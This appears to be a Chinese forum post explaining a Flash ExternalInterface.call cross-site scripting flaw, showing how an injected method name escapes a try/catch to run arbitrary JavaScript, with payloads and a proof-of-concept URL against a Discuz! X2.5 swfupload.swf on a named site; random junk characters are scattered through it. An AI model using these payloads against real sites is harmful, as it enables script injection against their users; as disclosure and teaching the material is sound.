上回我们说
\, k9 ?. Y0 q* w2 q, [4 Z* i/ y, M. u! y2 E4 H; U/ f8 G, l
flash.external.ExternalInterface.call($methodName, $parameter)
9 o1 V$ ~4 J: I8 E9 W2 T在浏览器中执行的是3 Q% e6 v# `1 L$ m9 s
/ f- f) i* \& q$ x$ a7 l
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}; B" M. t H7 O6 Y' b
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如& @1 N7 j) u& i5 S3 j
9 }# m0 k% y( r1 N
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
( e4 }9 _2 _' l! |$methodName = a())}catch(e){alert(/xss/)}//# i3 O2 ~8 I z( y0 t1 W$ m$ ^
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。5 U8 E' {0 ?, Y( [ L) o+ |
5 ~. a& k! C8 O1 V5 D5 Wtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }6 \6 w0 ~: H* A0 i
2 L. |% ?0 `" ?9 E: @+ W. W) b3 _
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
4 w+ N% Z7 {; k) R+ v/ R7 `杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。0 R1 \. s6 k [' w
5 E2 {" p; O6 [7 }& G; w' \/ f$ X* H& [" n% L
8 N* C) U- Q, d$ B
漏洞文件:upload\static\image\common\swfupload.swf# o( |5 B- r; f$ U; D- |
2 ~4 H% v! O8 j+ k0 W6 T" R- v6 a原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf+ `3 O: q. O; R* e
: Y6 f: t! ?+ h) k5 H
- h. m6 E6 ?5 U5 W2 U3 Z+ G漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
5 _1 C4 d7 V: ^+ l8 |5 }6 ~4 m- }9 \) x9 c
' }- u2 a5 O& K4 ?3 e! Q# y
|